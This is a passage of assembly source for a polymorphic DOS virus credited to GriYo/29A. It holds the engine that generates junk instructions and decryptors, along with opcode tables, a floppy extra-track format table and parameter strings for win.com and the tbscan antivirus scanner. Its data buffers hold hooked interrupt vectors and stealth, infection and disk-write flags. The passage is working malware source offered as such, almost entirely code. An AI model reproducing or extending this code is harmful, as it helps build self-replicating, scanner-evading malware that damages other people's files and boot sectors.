;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
g_generator:
;Get a random number for fill count
call get_rnd
and ax,03h
;Min 2, max 5 opcodes
inc ax
inc ax
next_fill:
push ax
new_fill:
;Check for .sys file
cmp word ptr cs:[exit_address][bp],offset exit_sys - \
offset host_ret
jne no_building_sys
last_byte_equal:
;Select the type of filler ( 01h byte instructions for .sys files )
mov ax,end_byte_table-one_byte_table
call rand_in_range
;Avoid same types in a row
cmp ax,word ptr cs:[last_fill_type][bp]
je last_byte_equal
mov word ptr cs:[last_fill_type][bp],ax
;Get one byte instruction
add ax,bp
mov bx,ax
mov al,byte ptr cs:[one_byte_table+bx]
;Store instruction
stosb
jmp op_return
no_building_sys:
;Select the type of filler
mov ax,(end_op_table-op_table)/2
;Do not generate int calls into boot sector or mbr decryptor
cmp word ptr cs:[exit_address][bp],offset exit_mbr - \
offset host_ret
je eliminate_ints
;Do not generate int calls into decryption loop
cmp byte ptr cs:[decrypt_pointer][bp],01h
jb no_in_loop
eliminate_ints:
dec ax
dec ax
no_in_loop:
call rand_in_range
;Avoid same types in a row
cmp ax,word ptr cs:[last_fill_type][bp]
je new_fill
mov word ptr cs:[last_fill_type][bp],ax
;Get subroutine address
add ax,ax
add ax,bp
mov bx,ax
mov ax,word ptr cs:[op_table+bx]
add ax,bp
;Store return address
lea bx,word ptr [op_return][bp]
push bx
;Call subroutine
push ax
ret
op_return:
pop ax
dec ax
jnz next_fill
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate mov reg,imm ( either 8 or 16 bit but never ax or sp,di,si or bp )³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
move_imm:
call get_rnd
;Get a reggie
and al,0Fh
;Make it a mov reg,
or al,0B0h
test al,08h
jz is_8bit_mov
;Make it ax,bx cx or dx
and al,0FBh
mov ah,al
and ah,03h
;Not ax or al
jz move_imm
stosb
call rand_16
stosw
ret
is_8bit_mov:
mov bh,al
;Is al?
and bh,07h
;Yeah bomb
jz move_imm
stosb
call get_rnd
stosb
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate mov reg,reg ( never to al or ax ) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
move_with_reg:
call rand_16
;Preserve reggies and 8/16 bit
and ax,3F01h
;Or it with addr mode and make it mov
or ax,0C08Ah
reg_test:
test al,1
jz is_8bit_move_with_reg
;Make source and dest = ax,bx,cx,dx
and ah,0DBh
is_8bit_move_with_reg:
mov bl,ah
and bl,38h
;No mov ax, 's please
jz move_with_reg
;Let's see if 2 reggies are same reggies
mov bh,ah
sal bh,1
sal bh,1
sal bh,1
and bh,38h
;Check if reg,reg are same
cmp bh,bl
jz move_with_reg
stosw
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Modify a mov reg,reg into an xchg reg,reg ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
reg_exchange:
;Make a mov reg,reg
call move_with_reg
;But then remove it
dec di
;And take advantage of the fact the opcode is still in ax
dec di
;Was a 16 bit type?
test al,1b
;Yeah go for an 8 bitter
jnz reg_exchange
mov bh,ah
;Is one of reggies ax?
and bh,07h
;Yah so bomb
jz reg_exchange
;Else make it xchg ah,dl etc...
mov al,86h
stosw
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate push reg + pop reg ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
do_push_pop:
mov ax,(end_bytes_2-bytes_2)/2
call rand_in_range
add ax,ax
add ax,bp
mov bx,ax
;Generate push and pop instruction
mov ax,word ptr cs:[bytes_2+bx]
;Do not use bx on .sys files
cmp word ptr cs:[exit_address][bp],offset exit_sys - \
offset host_ret
jne not_exclude_bx
;Check if push bx
cmp al,53h
je do_push_pop
;Check if pop bx
cmp ah,5Bh
je do_push_pop
not_exclude_bx:
stosw
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate a mov reg,mem or mov mem,reg ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
mov_with_mem:
;Get memory prefix
call get_seg_reg
stosb
;Get reg ( from or to mem and 8 or 16 bits )
call rand_16
and ax,3803h
;Or it with addr mode imm 16 and make it mov
or ax,0688h
test al,01h
jnz do_16_bit
;Check if reg is al
cmp ah,06h
jz make_to_mem
jmp all_clear_for_mem
do_16_bit:
;Get a valid 16bit reg
and ah,1Eh
;Check if reg is ax
cmp ah,06h
jnz all_clear_for_mem
make_to_mem:
;Make to mem
and al,0FDh
all_clear_for_mem:
stosw
;Get size of buffer for mem operations
mov ax,inf_byte_size
call rand_in_range
add ax,word ptr cs:[mem_base][bp]
stosw
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Get a math instruction from / to mem ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
make_math_with_mem:
;Generate a mov reg,mem or mov mem.reg
call mov_with_mem
;Perform transformation
push di
sub di,04h
mov al,byte ptr es:[di]
;Preserve address mode info
and al,03h
push ax
call get_rnd
;Get a math opcode
and al,38h
pop bx
;Set address mode bits
or al,bl
stosb
;Restore pointer
pop di
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate a random int 21h call ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
do_int_21h:
call get_rnd
;Choose within ah,function or ax,function+subfunction
and al,01h
jz do_int_ax
do_int_ah:
mov ax,end_ah_table-ah_table
call rand_in_range
add ax,bp
mov bx,ax
mov ah,byte ptr cs:[ah_table+bx]
;Do not generate same int's in a row
cmp ah,byte ptr cs:[last_int_type][bp]
jz do_int_ah
;Generate mov ah,function
mov byte ptr cs:[last_int_type][bp],ah
mov al,0B4h
stosw
;Generate int 21h
mov ax,021CDh
stosw
ret
do_int_ax:
mov ax,(end_ax_table-ax_table)/2
call rand_in_range
add ax,ax
add ax,bp
mov bx,ax
mov ax,word ptr cs:[ax_table+bx]
;Do not generate same int's in a row
cmp ah,byte ptr cs:[last_int_type][bp]
jz do_int_ax
mov byte ptr cs:[last_int_type][bp],ah
;Generate mov ax,function
mov byte ptr es:[di],0B8h
inc di
stosw
;Generate int 21h
mov ax,021CDh
stosw
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Generate a do-nothing int call ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
do_fake_int:
mov ax,offset fake_int_end-offset fake_int_table
call rand_in_range
mov bx,ax
add bx,bp
mov ah,byte ptr ds:[fake_int_table+bx]
mov al,0CDh
stosw
ret
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Polymorphic generator data buffer ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
ah_table:
;Int 21h garbage functions ( function number in ah )
db 00Bh ;Read entry state
db 019h ;Get current drive
db 02Ah ;Get current date
db 02Ch ;Get current time
db 030h ;Get dos version number
db 04Dh ;Get error code
db 051h ;Get active psp
db 062h ;Get active psp
end_ah_table:
ax_table:
;Int 21h garbage functions ( function number in ax )
dw 3300h ;Get break-flag
dw 3700h ;Get line-command separator
dw 5800h ;Get mem concept
dw 5802h ;Get umb insert
end_ax_table:
bytes_2:
;Push and pop pairs
push ax
pop dx
push ax
pop bx
push ax
pop cx
push bx
pop dx
push bx
pop cx
push cx
pop bx
push cx
pop dx
end_bytes_2:
step_table:
;Steps table
dw offset do_subroutine
dw offset do_call_garbage
dw offset g_generator
dw offset do_branch
dw offset sub_decryptor
dw offset next_decryptor
dw offset do_push_g_pop
end_step_table:
instruction_table:
;Polymorphic decryptor table
dw offset inst_load_counter
dw offset inst_load_pointer
dw offset inst_decrypt_one
dw offset inst_inc_pointer
dw offset inst_dec_loop
end_inst_table:
op_table:
;Address of op-code generator routines
dw offset move_with_reg
dw offset move_imm
dw offset mov_with_mem
dw offset make_math_with_mem
dw offset reg_exchange
dw offset do_push_pop
dw offset do_int_21h
dw offset do_fake_int
end_op_table:
one_byte_table:
;One byte instructions for .sys decryptor
aaa
aas
cbw
clc
cld
cmc
cwd
daa
das
dec ax
dec cx
dec dx
dec bp
inc ax
inc cx
inc dx
inc bp
int 03h
nop
stc
std
end_byte_table:
fake_int_table:
;Do-nothing ints
db 01h
db 1Ch
db 08h
db 0Ah
db 0Bh
db 0Ch
db 0Dh
db 0Eh
db 0Fh
db 28h
db 2Bh
db 2Ch
db 2Dh
db 70h
db 71h
db 72h
db 73h
db 74h
db 76h
db 77h
fake_int_end:
decrypt_table:
;Opcode table for add/sub/xor byte ptr seg:[di+displ],reg
db 2Ah,00h ;Add / sub
db 02h,28h ;Sub / add
db 32h,30h ;Xor / xor
end_decrypt_table:
fast_table:
;Opcode table for add/sub/xor byte ptr seg:[di+displ],key
db 45h,2Ah ;Add / sub
db 6Dh,02h ;Sub / add
db 75h,32h ;Xor / xor
end_fast_table:
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Virus buffers ( inserted into infections ) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
;Text for payload subroutine
txt_credits_1 db "<<< SuckSexee Automated Intruder >>>",00h
txt_credits_2 db "Viral Implant Bio-Coded by GriYo/29A",00h
;Ddpt that enables the extra track
floppy5_25 db 0DFh,02h,25h,02h,0Fh,1Bh,0FFh,54h,0F6h,0Fh,08h
floppy3_5 db 0DFh,02h,25h,02h,12h,1Bh,0FFh,6Ch,0F6h,0Fh,08h
;Format table for a extra track in floppy
format_table db 50h,00h,01h,02h ;Track 50h sector 01h
db 50h,00h,02h,02h ;Track 50h sector 02h
db 50h,00h,03h,02h ;Track 50h sector 03h
db 50h,00h,04h,02h ;Track 50h sector 04h
db 50h,00h,05h,02h ;Track 50h sector 05h
db 50h,00h,06h,02h ;Track 50h sector 06h
db 50h,00h,07h,02h ;Track 50h sector 07h
db 50h,00h,08h,02h ;Track 50h sector 08h
db 50h,00h,09h,02h ;Track 50h sector 09h
db 50h,00h,0Ah,02h ;Track 50h sector 0Ah
db 50h,00h,0Bh,02h ;Track 50h sector 0Bh
db 50h,00h,0Ch,02h ;Track 50h sector 0Ch
db 50h,00h,0Dh,02h ;Track 50h sector 0Dh
db 50h,00h,0Eh,02h ;Track 50h sector 0Eh
db 50h,00h,0Fh,02h ;Track 50h sector 0Fh
;Command line parameters for win.com
win_param_string db " /d:f",0Dh
;Command line parameters for tbscan.exe
tbscan_param_string db " co nm",0Dh
;Old file header
old_header db file_header_size dup (00h)
;Decryptor key
clave_crypt db 00h
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Virus data buffer (not inserted into infections) ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
virus_data_buffer:
;Old interrupt vectors
old03h equ this dword
old03h_off dw 0000h
old03h_seg dw 0000h
old12h equ this dword
old12h_off dw 0000h
old12h_seg dw 0000h
old13h equ this dword
old13h_off dw 0000h
old13h_seg dw 0000h
old1Ch equ this dword
old1Ch_off dw 0000h
old1Ch_seg dw 0000h
old1Eh equ this dword
old1Eh_off dw 0000h
old1Eh_seg dw 0000h
old21h equ this dword
old21h_off dw 0000h
old21h_seg dw 0000h
org21h equ this dword
org21h_off dw 0000h
org21h_seg dw 0000h
old24h equ this dword
old24h_off dw 0000h
old24h_seg dw 0000h
old40h equ this dword
old40h_off dw 0000h
old40h_seg dw 0000h
;Misc data
read_ptr equ this dword
read_off dw 0000h
read_seg dw 0000h
poly_working_ptr equ this dword
poly_working_off dw 0000h
poly_working_seg dw 0000h
dos_function dw 0000h
file_offset dw 0000h
ret_off dw 0000h
virus_timer dw 0000h
hd_write_words dw 0000h
hd_write_cl db 00h
hd_write_al db 00h
dos_flag db 00h
running_sw db 00h
stealth_sw db 00h
file_infection_flag db 00h
;Polymorphic decryptor data
poly_data:
last_fill_type dw 0000h ;+00h
last_step_type dw 0000h ;+02h
last_subroutine dw 0000h ;+04h
decrypt_sub dw 0000h ;+06h
address_loop dw 0000h ;+08h
last_int_type db 00h ;+0Ah
decrypt_pointer db 00h ;+0Bh
address_register db 00h ;+0Ch
decrypt_register db 00h ;+0Dh
address_seg_1 db 00h ;+0Eh
address_seg_2 db 00h ;+0Fh
rnd_pointer dw 0000h ;+10h
mem_base dw 0000h ;+12h
displ_si_di db 00h ;+14h
decrypt_seq db 00h ;+15h
;Buffer for filename of executed program
execute_filename db 80h dup (00h)
;Buffer for file stealth and infection routines
file_buffer db file_header_size dup (00h)
virus_copy db 00h
virus_end_buffer:
;ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿
;³Done :P ³
;ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
launcher ends
end virus_entry